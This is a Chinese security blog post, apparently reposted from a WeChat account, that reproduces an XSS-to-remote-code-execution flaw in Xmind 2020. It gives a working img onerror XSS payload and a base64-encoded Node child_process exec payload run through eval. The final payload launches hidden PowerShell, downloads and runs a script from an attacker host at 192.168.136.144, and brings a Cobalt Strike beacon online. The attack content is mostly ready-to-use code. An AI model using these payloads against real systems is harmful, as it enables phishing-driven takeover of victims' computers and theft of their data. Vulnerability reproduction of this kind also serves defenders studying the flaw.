Xmind XSS 2 RCE 漏洞复现

  • A+
所属分类:安全文章

# 01 Xmind简介:

XMind 是一个全功能的思维导图和头脑风暴软件,为激发灵感和创意而生。作为一款有效提升工作和生活效率的生产力工具,受到全球百千万用户的青睐。




# 02 漏洞简介:

Xmind 存在XSS漏洞,攻击者可以借助该漏洞进而实现命令执行,在实际环境中可以借助钓鱼攻击可能造成更严重的危害。




# 03 漏洞复现过程:

测试版本为Xmind2020安装完成之后,打开软件,随便点击一个思维导图点击创建:

Xmind XSS 2 RCE 漏洞复现


将导图分支修改为poc/exp,然后进入大纲视图查看、测试:

Xmind XSS 2 RCE 漏洞复现

1、首先测试下xss弹窗:

payload:

<img src=1 onerror=alert('xxx')>


输入完之后,鼠标移动到payload最后方,敲空格就能触发,或者点击ctrl健也能触发:

Xmind XSS 2 RCE 漏洞复现



2、测试RCE命令执行:

原始payload:

require('child_process').exec('将要执行的系统命令',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });


然后将其进行base64编码:

cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2lwY29uZmlnIC9hbGwnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKfSk7


构造最终的payload,替换里面的内容即可:

<img src=x onerror='eval(new Buffer(`你的base64payload`,`base64`).toString())'>


触发方式也是一样的,成功执行:

Xmind XSS 2 RCE 漏洞复现



3、测试CS上线:

这里使用powershell上线:

Xmind XSS 2 RCE 漏洞复现


Xmind XSS 2 RCE 漏洞复现


和上面命令执行利用方式一样,将执行的命令替换为powershell上线payload:

由于命令在单引号内,而powershell命令中也有单引号,所以需要用进行转义:

require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.136.144:888/a'))"',(error, stdout, stderr)=>{     alert(`stdout: ${stdout}`); });


然后base64编码,再进行最终的payload构造即可:

<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3Bvd2Vyc2hlbGwuZXhlIC1ub3AgLXcgaGlkZGVuIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKFwnaHR0cDovLzE5Mi4xNjguMTM2LjE0NDo4ODgvYVwnKSkiJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7Cn0pOw==`,`base64`).toString())'>


触发方式一样:

Xmind XSS 2 RCE 漏洞复现


可以看到成功上线:

Xmind XSS 2 RCE 漏洞复现


尝试执行命令,成功:

Xmind XSS 2 RCE 漏洞复现



点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

点个赞和在看吧,欢迎转发!

Xmind XSS 2 RCE 漏洞复现


本文始发于微信公众号(哈拉少安全小队):Xmind XSS 2 RCE 漏洞复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: